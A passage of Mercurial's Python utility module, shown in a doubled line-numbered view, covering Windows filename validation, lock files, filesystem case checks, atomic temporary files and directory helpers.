2026 "filename contains 'con', which is reserved on Windows"
2027 "filename contains 'con', which is reserved on Windows"
2027 >>> checkwinfilename(b"foo/bar/xml.con")
2028 >>> checkwinfilename(b"foo/bar/xml.con")
2028 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2029 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2029 "filename contains 'AUX', which is reserved on Windows"
2030 "filename contains 'AUX', which is reserved on Windows"
2030 >>> checkwinfilename(b"foo/bar/bla:.txt")
2031 >>> checkwinfilename(b"foo/bar/bla:.txt")
2031 "filename contains ':', which is reserved on Windows"
2032 "filename contains ':', which is reserved on Windows"
2032 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2033 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2033 "filename contains '\\x07', which is invalid on Windows"
2034 "filename contains '\\x07', which is invalid on Windows"
2034 >>> checkwinfilename(b"foo/bar/bla ")
2035 >>> checkwinfilename(b"foo/bar/bla ")
2035 "filename ends with ' ', which is not allowed on Windows"
2036 "filename ends with ' ', which is not allowed on Windows"
2036 >>> checkwinfilename(b"../bar")
2037 >>> checkwinfilename(b"../bar")
2037 >>> checkwinfilename(b"foo\\")
2038 >>> checkwinfilename(b"foo\\")
2038 "filename ends with '\\', which is invalid on Windows"
2039 "filename ends with '\\', which is invalid on Windows"
2039 >>> checkwinfilename(b"foo\\/bar")
2040 >>> checkwinfilename(b"foo\\/bar")
2040 "directory name ends with '\\', which is invalid on Windows"
2041 "directory name ends with '\\', which is invalid on Windows"
2041 '''
2042 '''
2042 if path.endswith(b'\\'):
2043 if path.endswith(b'\\'):
2043 return _(b"filename ends with '\\', which is invalid on Windows")
2044 return _(b"filename ends with '\\', which is invalid on Windows")
2044 if b'\\/' in path:
2045 if b'\\/' in path:
2045 return _(b"directory name ends with '\\', which is invalid on Windows")
2046 return _(b"directory name ends with '\\', which is invalid on Windows")
2046 for n in path.replace(b'\\', b'/').split(b'/'):
2047 for n in path.replace(b'\\', b'/').split(b'/'):
2047 if not n:
2048 if not n:
2048 continue
2049 continue
2049 for c in _filenamebytestr(n):
2050 for c in _filenamebytestr(n):
2050 if c in _winreservedchars:
2051 if c in _winreservedchars:
2051 return (
2052 return (
2052 _(
2053 _(
2053 b"filename contains '%s', which is reserved "
2054 b"filename contains '%s', which is reserved "
2054 b"on Windows"
2055 b"on Windows"
2055 )
2056 )
2056 % c
2057 % c
2057 )
2058 )
2058 if ord(c) <= 31:
2059 if ord(c) <= 31:
2059 return _(
2060 return _(
2060 b"filename contains '%s', which is invalid on Windows"
2061 b"filename contains '%s', which is invalid on Windows"
2061 ) % stringutil.escapestr(c)
2062 ) % stringutil.escapestr(c)
2062 base = n.split(b'.')[0]
2063 base = n.split(b'.')[0]
2063 if base and base.lower() in _winreservednames:
2064 if base and base.lower() in _winreservednames:
2064 return (
2065 return (
2065 _(b"filename contains '%s', which is reserved on Windows")
2066 _(b"filename contains '%s', which is reserved on Windows")
2066 % base
2067 % base
2067 )
2068 )
2068 t = n[-1:]
2069 t = n[-1:]
2069 if t in b'. ' and n not in b'..':
2070 if t in b'. ' and n not in b'..':
2070 return (
2071 return (
2071 _(
2072 _(
2072 b"filename ends with '%s', which is not allowed "
2073 b"filename ends with '%s', which is not allowed "
2073 b"on Windows"
2074 b"on Windows"
2074 )
2075 )
2075 % t
2076 % t
2076 )
2077 )
2077
2078
2078
2079
2079 timer = getattr(time, "perf_counter", None)
2080 timer = getattr(time, "perf_counter", None)
2080
2081
2081 if pycompat.iswindows:
2082 if pycompat.iswindows:
2082 checkosfilename = checkwinfilename
2083 checkosfilename = checkwinfilename
2083 if not timer:
2084 if not timer:
2084 timer = time.clock
2085 timer = time.clock
2085 else:
2086 else:
2086 # mercurial.windows doesn't have platform.checkosfilename
2087 # mercurial.windows doesn't have platform.checkosfilename
2087 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2088 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2088 if not timer:
2089 if not timer:
2089 timer = time.time
2090 timer = time.time
2090
2091
2091
2092
2092 def makelock(info, pathname):
2093 def makelock(info, pathname):
2093 """Create a lock file atomically if possible
2094 """Create a lock file atomically if possible
2094
2095
2095 This may leave a stale lock file if symlink isn't supported and signal
2096 This may leave a stale lock file if symlink isn't supported and signal
2096 interrupt is enabled.
2097 interrupt is enabled.
2097 """
2098 """
2098 try:
2099 try:
2099 return os.symlink(info, pathname)
2100 return os.symlink(info, pathname)
2100 except OSError as why:
2101 except OSError as why:
2101 if why.errno == errno.EEXIST:
2102 if why.errno == errno.EEXIST:
2102 raise
2103 raise
2103 except AttributeError: # no symlink in os
2104 except AttributeError: # no symlink in os
2104 pass
2105 pass
2105
2106
2106 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2107 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2107 ld = os.open(pathname, flags)
2108 ld = os.open(pathname, flags)
2108 os.write(ld, info)
2109 os.write(ld, info)
2109 os.close(ld)
2110 os.close(ld)
2110
2111
2111
2112
2112 def readlock(pathname):
2113 def readlock(pathname):
2113 try:
2114 try:
2114 return readlink(pathname)
2115 return readlink(pathname)
2115 except OSError as why:
2116 except OSError as why:
2116 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2117 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2117 raise
2118 raise
2118 except AttributeError: # no symlink in os
2119 except AttributeError: # no symlink in os
2119 pass
2120 pass
2120 with posixfile(pathname, b'rb') as fp:
2121 with posixfile(pathname, b'rb') as fp:
2121 return fp.read()
2122 return fp.read()
2122
2123
2123
2124
2124 def fstat(fp):
2125 def fstat(fp):
2125 '''stat file object that may not have fileno method.'''
2126 '''stat file object that may not have fileno method.'''
2126 try:
2127 try:
2127 return os.fstat(fp.fileno())
2128 return os.fstat(fp.fileno())
2128 except AttributeError:
2129 except AttributeError:
2129 return os.stat(fp.name)
2130 return os.stat(fp.name)
2130
2131
2131
2132
2132 # File system features
2133 # File system features
2133
2134
2134
2135
2135 def fscasesensitive(path):
2136 def fscasesensitive(path):
2136 """
2137 """
2137 Return true if the given path is on a case-sensitive filesystem
2138 Return true if the given path is on a case-sensitive filesystem
2138
2139
2139 Requires a path (like /foo/.hg) ending with a foldable final
2140 Requires a path (like /foo/.hg) ending with a foldable final
2140 directory component.
2141 directory component.
2141 """
2142 """
2142 s1 = os.lstat(path)
2143 s1 = os.lstat(path)
2143 d, b = os.path.split(path)
2144 d, b = os.path.split(path)
2144 b2 = b.upper()
2145 b2 = b.upper()
2145 if b == b2:
2146 if b == b2:
2146 b2 = b.lower()
2147 b2 = b.lower()
2147 if b == b2:
2148 if b == b2:
2148 return True # no evidence against case sensitivity
2149 return True # no evidence against case sensitivity
2149 p2 = os.path.join(d, b2)
2150 p2 = os.path.join(d, b2)
2150 try:
2151 try:
2151 s2 = os.lstat(p2)
2152 s2 = os.lstat(p2)
2152 if s2 == s1:
2153 if s2 == s1:
2153 return False
2154 return False
2154 return True
2155 return True
2155 except OSError:
2156 except OSError:
2156 return True
2157 return True
2157
2158
2158
2159
2159 try:
2160 try:
2160 import re2 # pytype: disable=import-error
2161 import re2 # pytype: disable=import-error
2161
2162
2162 _re2 = None
2163 _re2 = None
2163 except ImportError:
2164 except ImportError:
2164 _re2 = False
2165 _re2 = False
2165
2166
2166
2167
2167 class _re(object):
2168 class _re(object):
2168 def _checkre2(self):
2169 def _checkre2(self):
2169 global _re2
2170 global _re2
2170 try:
2171 try:
2171 # check if match works, see issue3964
2172 # check if match works, see issue3964
2172 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2173 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2173 except ImportError:
2174 except ImportError:
2174 _re2 = False
2175 _re2 = False
2175
2176
2176 def compile(self, pat, flags=0):
2177 def compile(self, pat, flags=0):
2177 '''Compile a regular expression, using re2 if possible
2178 '''Compile a regular expression, using re2 if possible
2178
2179
2179 For best performance, use only re2-compatible regexp features. The
2180 For best performance, use only re2-compatible regexp features. The
2180 only flags from the re module that are re2-compatible are
2181 only flags from the re module that are re2-compatible are
2181 IGNORECASE and MULTILINE.'''
2182 IGNORECASE and MULTILINE.'''
2182 if _re2 is None:
2183 if _re2 is None:
2183 self._checkre2()
2184 self._checkre2()
2184 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2185 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2185 if flags & remod.IGNORECASE:
2186 if flags & remod.IGNORECASE:
2186 pat = b'(?i)' + pat
2187 pat = b'(?i)' + pat
2187 if flags & remod.MULTILINE:
2188 if flags & remod.MULTILINE:
2188 pat = b'(?m)' + pat
2189 pat = b'(?m)' + pat
2189 try:
2190 try:
2190 return re2.compile(pat)
2191 return re2.compile(pat)
2191 except re2.error:
2192 except re2.error:
2192 pass
2193 pass
2193 return remod.compile(pat, flags)
2194 return remod.compile(pat, flags)
2194
2195
2195 @propertycache
2196 @propertycache
2196 def escape(self):
2197 def escape(self):
2197 '''Return the version of escape corresponding to self.compile.
2198 '''Return the version of escape corresponding to self.compile.
2198
2199
2199 This is imperfect because whether re2 or re is used for a particular
2200 This is imperfect because whether re2 or re is used for a particular
2200 function depends on the flags, etc, but it's the best we can do.
2201 function depends on the flags, etc, but it's the best we can do.
2201 '''
2202 '''
2202 global _re2
2203 global _re2
2203 if _re2 is None:
2204 if _re2 is None:
2204 self._checkre2()
2205 self._checkre2()
2205 if _re2:
2206 if _re2:
2206 return re2.escape
2207 return re2.escape
2207 else:
2208 else:
2208 return remod.escape
2209 return remod.escape
2209
2210
2210
2211
2211 re = _re()
2212 re = _re()
2212
2213
2213 _fspathcache = {}
2214 _fspathcache = {}
2214
2215
2215
2216
2216 def fspath(name, root):
2217 def fspath(name, root):
2217 '''Get name in the case stored in the filesystem
2218 '''Get name in the case stored in the filesystem
2218
2219
2219 The name should be relative to root, and be normcase-ed for efficiency.
2220 The name should be relative to root, and be normcase-ed for efficiency.
2220
2221
2221 Note that this function is unnecessary, and should not be
2222 Note that this function is unnecessary, and should not be
2222 called, for case-sensitive filesystems (simply because it's expensive).
2223 called, for case-sensitive filesystems (simply because it's expensive).
2223
2224
2224 The root should be normcase-ed, too.
2225 The root should be normcase-ed, too.
2225 '''
2226 '''
2226
2227
2227 def _makefspathcacheentry(dir):
2228 def _makefspathcacheentry(dir):
2228 return {normcase(n): n for n in os.listdir(dir)}
2229 return {normcase(n): n for n in os.listdir(dir)}
2229
2230
2230 seps = pycompat.ossep
2231 seps = pycompat.ossep
2231 if pycompat.osaltsep:
2232 if pycompat.osaltsep:
2232 seps = seps + pycompat.osaltsep
2233 seps = seps + pycompat.osaltsep
2233 # Protect backslashes. This gets silly very quickly.
2234 # Protect backslashes. This gets silly very quickly.
2234 seps.replace(b'\\', b'\\\\')
2235 seps.replace(b'\\', b'\\\\')
2235 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2236 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2236 dir = os.path.normpath(root)
2237 dir = os.path.normpath(root)
2237 result = []
2238 result = []
2238 for part, sep in pattern.findall(name):
2239 for part, sep in pattern.findall(name):
2239 if sep:
2240 if sep:
2240 result.append(sep)
2241 result.append(sep)
2241 continue
2242 continue
2242
2243
2243 if dir not in _fspathcache:
2244 if dir not in _fspathcache:
2244 _fspathcache[dir] = _makefspathcacheentry(dir)
2245 _fspathcache[dir] = _makefspathcacheentry(dir)
2245 contents = _fspathcache[dir]
2246 contents = _fspathcache[dir]
2246
2247
2247 found = contents.get(part)
2248 found = contents.get(part)
2248 if not found:
2249 if not found:
2249 # retry "once per directory" per "dirstate.walk" which
2250 # retry "once per directory" per "dirstate.walk" which
2250 # may take place for each patches of "hg qpush", for example
2251 # may take place for each patches of "hg qpush", for example
2251 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2252 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2252 found = contents.get(part)
2253 found = contents.get(part)
2253
2254
2254 result.append(found or part)
2255 result.append(found or part)
2255 dir = os.path.join(dir, part)
2256 dir = os.path.join(dir, part)
2256
2257
2257 return b''.join(result)
2258 return b''.join(result)
2258
2259
2259
2260
2260 def checknlink(testfile):
2261 def checknlink(testfile):
2261 '''check whether hardlink count reporting works properly'''
2262 '''check whether hardlink count reporting works properly'''
2262
2263
2263 # testfile may be open, so we need a separate file for checking to
2264 # testfile may be open, so we need a separate file for checking to
2264 # work around issue2543 (or testfile may get lost on Samba shares)
2265 # work around issue2543 (or testfile may get lost on Samba shares)
2265 f1, f2, fp = None, None, None
2266 f1, f2, fp = None, None, None
2266 try:
2267 try:
2267 fd, f1 = pycompat.mkstemp(
2268 fd, f1 = pycompat.mkstemp(
2268 prefix=b'.%s-' % os.path.basename(testfile),
2269 prefix=b'.%s-' % os.path.basename(testfile),
2269 suffix=b'1~',
2270 suffix=b'1~',
2270 dir=os.path.dirname(testfile),
2271 dir=os.path.dirname(testfile),
2271 )
2272 )
2272 os.close(fd)
2273 os.close(fd)
2273 f2 = b'%s2~' % f1[:-2]
2274 f2 = b'%s2~' % f1[:-2]
2274
2275
2275 oslink(f1, f2)
2276 oslink(f1, f2)
2276 # nlinks() may behave differently for files on Windows shares if
2277 # nlinks() may behave differently for files on Windows shares if
2277 # the file is open.
2278 # the file is open.
2278 fp = posixfile(f2)
2279 fp = posixfile(f2)
2279 return nlinks(f2) > 1
2280 return nlinks(f2) > 1
2280 except OSError:
2281 except OSError:
2281 return False
2282 return False
2282 finally:
2283 finally:
2283 if fp is not None:
2284 if fp is not None:
2284 fp.close()
2285 fp.close()
2285 for f in (f1, f2):
2286 for f in (f1, f2):
2286 try:
2287 try:
2287 if f is not None:
2288 if f is not None:
2288 os.unlink(f)
2289 os.unlink(f)
2289 except OSError:
2290 except OSError:
2290 pass
2291 pass
2291
2292
2292
2293
2293 def endswithsep(path):
2294 def endswithsep(path):
2294 '''Check path ends with os.sep or os.altsep.'''
2295 '''Check path ends with os.sep or os.altsep.'''
2295 return (
2296 return (
2296 path.endswith(pycompat.ossep)
2297 path.endswith(pycompat.ossep)
2297 or pycompat.osaltsep
2298 or pycompat.osaltsep
2298 and path.endswith(pycompat.osaltsep)
2299 and path.endswith(pycompat.osaltsep)
2299 )
2300 )
2300
2301
2301
2302
2302 def splitpath(path):
2303 def splitpath(path):
2303 '''Split path by os.sep.
2304 '''Split path by os.sep.
2304 Note that this function does not use os.altsep because this is
2305 Note that this function does not use os.altsep because this is
2305 an alternative of simple "xxx.split(os.sep)".
2306 an alternative of simple "xxx.split(os.sep)".
2306 It is recommended to use os.path.normpath() before using this
2307 It is recommended to use os.path.normpath() before using this
2307 function if need.'''
2308 function if need.'''
2308 return path.split(pycompat.ossep)
2309 return path.split(pycompat.ossep)
2309
2310
2310
2311
2311 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2312 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2312 """Create a temporary file with the same contents from name
2313 """Create a temporary file with the same contents from name
2313
2314
2314 The permission bits are copied from the original file.
2315 The permission bits are copied from the original file.
2315
2316
2316 If the temporary file is going to be truncated immediately, you
2317 If the temporary file is going to be truncated immediately, you
2317 can use emptyok=True as an optimization.
2318 can use emptyok=True as an optimization.
2318
2319
2319 Returns the name of the temporary file.
2320 Returns the name of the temporary file.
2320 """
2321 """
2321 d, fn = os.path.split(name)
2322 d, fn = os.path.split(name)
2322 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2323 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2323 os.close(fd)
2324 os.close(fd)
2324 # Temporary files are created with mode 0600, which is usually not
2325 # Temporary files are created with mode 0600, which is usually not
2325 # what we want. If the original file already exists, just copy
2326 # what we want. If the original file already exists, just copy
2326 # its mode. Otherwise, manually obey umask.
2327 # its mode. Otherwise, manually obey umask.
2327 copymode(name, temp, createmode, enforcewritable)
2328 copymode(name, temp, createmode, enforcewritable)
2328
2329
2329 if emptyok:
2330 if emptyok:
2330 return temp
2331 return temp
2331 try:
2332 try:
2332 try:
2333 try:
2333 ifp = posixfile(name, b"rb")
2334 ifp = posixfile(name, b"rb")
2334 except IOError as inst:
2335 except IOError as inst:
2335 if inst.errno == errno.ENOENT:
2336 if inst.errno == errno.ENOENT:
2336 return temp
2337 return temp
2337 if not getattr(inst, 'filename', None):
2338 if not getattr(inst, 'filename', None):
2338 inst.filename = name
2339 inst.filename = name
2339 raise
2340 raise
2340 ofp = posixfile(temp, b"wb")
2341 ofp = posixfile(temp, b"wb")
2341 for chunk in filechunkiter(ifp):
2342 for chunk in filechunkiter(ifp):
2342 ofp.write(chunk)
2343 ofp.write(chunk)
2343 ifp.close()
2344 ifp.close()
2344 ofp.close()
2345 ofp.close()
2345 except: # re-raises
2346 except: # re-raises
2346 try:
2347 try:
2347 os.unlink(temp)
2348 os.unlink(temp)
2348 except OSError:
2349 except OSError:
2349 pass
2350 pass
2350 raise
2351 raise
2351 return temp
2352 return temp
2352
2353
2353
2354
2354 class filestat(object):
2355 class filestat(object):
2355 """help to exactly detect change of a file
2356 """help to exactly detect change of a file
2356
2357
2357 'stat' attribute is result of 'os.stat()' if specified 'path'
2358 'stat' attribute is result of 'os.stat()' if specified 'path'
2358 exists. Otherwise, it is None. This can avoid preparative
2359 exists. Otherwise, it is None. This can avoid preparative
2359 'exists()' examination on client side of this class.
2360 'exists()' examination on client side of this class.
2360 """
2361 """
2361
2362
2362 def __init__(self, stat):
2363 def __init__(self, stat):
2363 self.stat = stat
2364 self.stat = stat
2364
2365
2365 @classmethod
2366 @classmethod
2366 def frompath(cls, path):
2367 def frompath(cls, path):
2367 try:
2368 try:
2368 stat = os.stat(path)
2369 stat = os.stat(path)
2369 except OSError as err:
2370 except OSError as err:
2370 if err.errno != errno.ENOENT:
2371 if err.errno != errno.ENOENT:
2371 raise
2372 raise
2372 stat = None
2373 stat = None
2373 return cls(stat)
2374 return cls(stat)
2374
2375
2375 @classmethod
2376 @classmethod
2376 def fromfp(cls, fp):
2377 def fromfp(cls, fp):
2377 stat = os.fstat(fp.fileno())
2378 stat = os.fstat(fp.fileno())
2378 return cls(stat)
2379 return cls(stat)
2379
2380
2380 __hash__ = object.__hash__
2381 __hash__ = object.__hash__
2381
2382
2382 def __eq__(self, old):
2383 def __eq__(self, old):
2383 try:
2384 try:
2384 # if ambiguity between stat of new and old file is
2385 # if ambiguity between stat of new and old file is
2385 # avoided, comparison of size, ctime and mtime is enough
2386 # avoided, comparison of size, ctime and mtime is enough
2386 # to exactly detect change of a file regardless of platform
2387 # to exactly detect change of a file regardless of platform
2387 return (
2388 return (
2388 self.stat.st_size == old.stat.st_size
2389 self.stat.st_size == old.stat.st_size
2389 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2390 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2390 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2391 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2391 )
2392 )
2392 except AttributeError:
2393 except AttributeError:
2393 pass
2394 pass
2394 try:
2395 try:
2395 return self.stat is None and old.stat is None
2396 return self.stat is None and old.stat is None
2396 except AttributeError:
2397 except AttributeError:
2397 return False
2398 return False
2398
2399
2399 def isambig(self, old):
2400 def isambig(self, old):
2400 """Examine whether new (= self) stat is ambiguous against old one
2401 """Examine whether new (= self) stat is ambiguous against old one
2401
2402
2402 "S[N]" below means stat of a file at N-th change:
2403 "S[N]" below means stat of a file at N-th change:
2403
2404
2404 - S[n-1].ctime < S[n].ctime: can detect change of a file
2405 - S[n-1].ctime < S[n].ctime: can detect change of a file
2405 - S[n-1].ctime == S[n].ctime
2406 - S[n-1].ctime == S[n].ctime
2406 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2407 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2407 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2408 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2408 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2409 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2409 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2410 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2410
2411
2411 Case (*2) above means that a file was changed twice or more at
2412 Case (*2) above means that a file was changed twice or more at
2412 same time in sec (= S[n-1].ctime), and comparison of timestamp
2413 same time in sec (= S[n-1].ctime), and comparison of timestamp
2413 is ambiguous.
2414 is ambiguous.
2414
2415
2415 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2416 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2416 timestamp is ambiguous".
2417 timestamp is ambiguous".
2417
2418
2418 But advancing mtime only in case (*2) doesn't work as
2419 But advancing mtime only in case (*2) doesn't work as
2419 expected, because naturally advanced S[n].mtime in case (*1)
2420 expected, because naturally advanced S[n].mtime in case (*1)
2420 might be equal to manually advanced S[n-1 or earlier].mtime.
2421 might be equal to manually advanced S[n-1 or earlier].mtime.
2421
2422
2422 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2423 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2423 treated as ambiguous regardless of mtime, to avoid overlooking
2424 treated as ambiguous regardless of mtime, to avoid overlooking
2424 by confliction between such mtime.
2425 by confliction between such mtime.
2425
2426
2426 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2427 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2427 S[n].mtime", even if size of a file isn't changed.
2428 S[n].mtime", even if size of a file isn't changed.
2428 """
2429 """
2429 try:
2430 try:
2430 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2431 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2431 except AttributeError:
2432 except AttributeError:
2432 return False
2433 return False
2433
2434
2434 def avoidambig(self, path, old):
2435 def avoidambig(self, path, old):
2435 """Change file stat of specified path to avoid ambiguity
2436 """Change file stat of specified path to avoid ambiguity
2436
2437
2437 'old' should be previous filestat of 'path'.
2438 'old' should be previous filestat of 'path'.
2438
2439
2439 This skips avoiding ambiguity, if a process doesn't have
2440 This skips avoiding ambiguity, if a process doesn't have
2440 appropriate privileges for 'path'. This returns False in this
2441 appropriate privileges for 'path'. This returns False in this
2441 case.
2442 case.
2442
2443
2443 Otherwise, this returns True, as "ambiguity is avoided".
2444 Otherwise, this returns True, as "ambiguity is avoided".
2444 """
2445 """
2445 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2446 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2446 try:
2447 try:
2447 os.utime(path, (advanced, advanced))
2448 os.utime(path, (advanced, advanced))
2448 except OSError as inst:
2449 except OSError as inst:
2449 if inst.errno == errno.EPERM:
2450 if inst.errno == errno.EPERM:
2450 # utime() on the file created by another user causes EPERM,
2451 # utime() on the file created by another user causes EPERM,
2451 # if a process doesn't have appropriate privileges
2452 # if a process doesn't have appropriate privileges
2452 return False
2453 return False
2453 raise
2454 raise
2454 return True
2455 return True
2455
2456
2456 def __ne__(self, other):
2457 def __ne__(self, other):
2457 return not self == other
2458 return not self == other
2458
2459
2459
2460
2460 class atomictempfile(object):
2461 class atomictempfile(object):
2461 '''writable file object that atomically updates a file
2462 '''writable file object that atomically updates a file
2462
2463
2463 All writes will go to a temporary copy of the original file. Call
2464 All writes will go to a temporary copy of the original file. Call
2464 close() when you are done writing, and atomictempfile will rename
2465 close() when you are done writing, and atomictempfile will rename
2465 the temporary copy to the original name, making the changes
2466 the temporary copy to the original name, making the changes
2466 visible. If the object is destroyed without being closed, all your
2467 visible. If the object is destroyed without being closed, all your
2467 writes are discarded.
2468 writes are discarded.
2468
2469
2469 checkambig argument of constructor is used with filestat, and is
2470 checkambig argument of constructor is used with filestat, and is
2470 useful only if target file is guarded by any lock (e.g. repo.lock
2471 useful only if target file is guarded by any lock (e.g. repo.lock
2471 or repo.wlock).
2472 or repo.wlock).
2472 '''
2473 '''
2473
2474
2474 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2475 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2475 self.__name = name # permanent name
2476 self.__name = name # permanent name
2476 self._tempname = mktempcopy(
2477 self._tempname = mktempcopy(
2477 name,
2478 name,
2478 emptyok=(b'w' in mode),
2479 emptyok=(b'w' in mode),
2479 createmode=createmode,
2480 createmode=createmode,
2480 enforcewritable=(b'w' in mode),
2481 enforcewritable=(b'w' in mode),
2481 )
2482 )
2482
2483
2483 self._fp = posixfile(self._tempname, mode)
2484 self._fp = posixfile(self._tempname, mode)
2484 self._checkambig = checkambig
2485 self._checkambig = checkambig
2485
2486
2486 # delegated methods
2487 # delegated methods
2487 self.read = self._fp.read
2488 self.read = self._fp.read
2488 self.write = self._fp.write
2489 self.write = self._fp.write
2489 self.seek = self._fp.seek
2490 self.seek = self._fp.seek
2490 self.tell = self._fp.tell
2491 self.tell = self._fp.tell
2491 self.fileno = self._fp.fileno
2492 self.fileno = self._fp.fileno
2492
2493
2493 def close(self):
2494 def close(self):
2494 if not self._fp.closed:
2495 if not self._fp.closed:
2495 self._fp.close()
2496 self._fp.close()
2496 filename = localpath(self.__name)
2497 filename = localpath(self.__name)
2497 oldstat = self._checkambig and filestat.frompath(filename)
2498 oldstat = self._checkambig and filestat.frompath(filename)
2498 if oldstat and oldstat.stat:
2499 if oldstat and oldstat.stat:
2499 rename(self._tempname, filename)
2500 rename(self._tempname, filename)
2500 newstat = filestat.frompath(filename)
2501 newstat = filestat.frompath(filename)
2501 if newstat.isambig(oldstat):
2502 if newstat.isambig(oldstat):
2502 # stat of changed file is ambiguous to original one
2503 # stat of changed file is ambiguous to original one
2503 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2504 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2504 os.utime(filename, (advanced, advanced))
2505 os.utime(filename, (advanced, advanced))
2505 else:
2506 else:
2506 rename(self._tempname, filename)
2507 rename(self._tempname, filename)
2507
2508
2508 def discard(self):
2509 def discard(self):
2509 if not self._fp.closed:
2510 if not self._fp.closed:
2510 try:
2511 try:
2511 os.unlink(self._tempname)
2512 os.unlink(self._tempname)
2512 except OSError:
2513 except OSError:
2513 pass
2514 pass
2514 self._fp.close()
2515 self._fp.close()
2515
2516
2516 def __del__(self):
2517 def __del__(self):
2517 if safehasattr(self, '_fp'): # constructor actually did something
2518 if safehasattr(self, '_fp'): # constructor actually did something
2518 self.discard()
2519 self.discard()
2519
2520
2520 def __enter__(self):
2521 def __enter__(self):
2521 return self
2522 return self
2522
2523
2523 def __exit__(self, exctype, excvalue, traceback):
2524 def __exit__(self, exctype, excvalue, traceback):
2524 if exctype is not None:
2525 if exctype is not None:
2525 self.discard()
2526 self.discard()
2526 else:
2527 else:
2527 self.close()
2528 self.close()
2528
2529
2529
2530
2530 def unlinkpath(f, ignoremissing=False, rmdir=True):
2531 def unlinkpath(f, ignoremissing=False, rmdir=True):
2531 """unlink and remove the directory if it is empty"""
2532 """unlink and remove the directory if it is empty"""
2532 if ignoremissing:
2533 if ignoremissing:
2533 tryunlink(f)
2534 tryunlink(f)
2534 else:
2535 else:
2535 unlink(f)
2536 unlink(f)
2536 if rmdir:
2537 if rmdir:
2537 # try removing directories that might now be empty
2538 # try removing directories that might now be empty
2538 try:
2539 try:
2539 removedirs(os.path.dirname(f))
2540 removedirs(os.path.dirname(f))
2540 except OSError:
2541 except OSError:
2541 pass
2542 pass
2542
2543
2543
2544
2544 def tryunlink(f):
2545 def tryunlink(f):
2545 """Attempt to remove a file, ignoring ENOENT errors."""
2546 """Attempt to remove a file, ignoring ENOENT errors."""
2546 try:
2547 try:
2547 unlink(f)
2548 unlink(f)
2548 except OSError as e:
2549 except OSError as e:
2549 if e.errno != errno.ENOENT:
2550 if e.errno != errno.ENOENT:
2550 raise
2551 raise
2551
2552
2552
2553
2553 def makedirs(name, mode=None, notindexed=False):
2554 def makedirs(name, mode=None, notindexed=False):
2554 """recursive directory creation with parent mode inheritance
2555 """recursive directory creation with parent mode inheritance
2555
2556
2556 Newly created directories are marked as "not to be indexed by
2557 Newly created directories are marked as "not to be indexed by
2557 the content indexing service", if ``notindexed`` is specified
2558 the content indexing service", if ``notindexed`` is specified
2558 for "write" mode access.
2559 for "write" mode access.
2559 """
2560 """
2560 try:
2561 try:
2561 makedir(name, notindexed)
2562 makedir(name, notindexed)
2562 except OSError as err:
2563 except OSError as err:
2563 if err.errno == errno.EEXIST:
2564 if err.errno == errno.EEXIST:
2564 return
2565 return
2565 if err.errno != errno.ENOENT or not name:
2566 if err.errno != errno.ENOENT or not name:
2566 raise
2567 raise
2567 parent = os.path.dirname(os.path.abspath(name))
2568 parent = os.path.dirname(os.path.abspath(name))
2568 if parent == name:
2569 if parent == name:
2569 raise
2570 raise
2570 makedirs(parent, mode, notindexed)
2571 makedirs(parent, mode, notindexed)
2571 try:
2572 try:
2572 makedir(name, notindexed)
2573 makedir(name, notindexed)
2573 except OSError as err:
2574 except OSError as err:
2574 # Catch EEXIST to handle races
2575 # Catch EEXIST to handle races
2575 if err.errno == errno.EEXIST:
2576 if err.errno == errno.EEXIST:
2576 return
2577 return
2577 raise
2578 raise
2578 if mode is not None:
2579 if mode is not None:
2579 os.chmod(name, mode)
2580 os.chmod(name, mode)
2580
2581
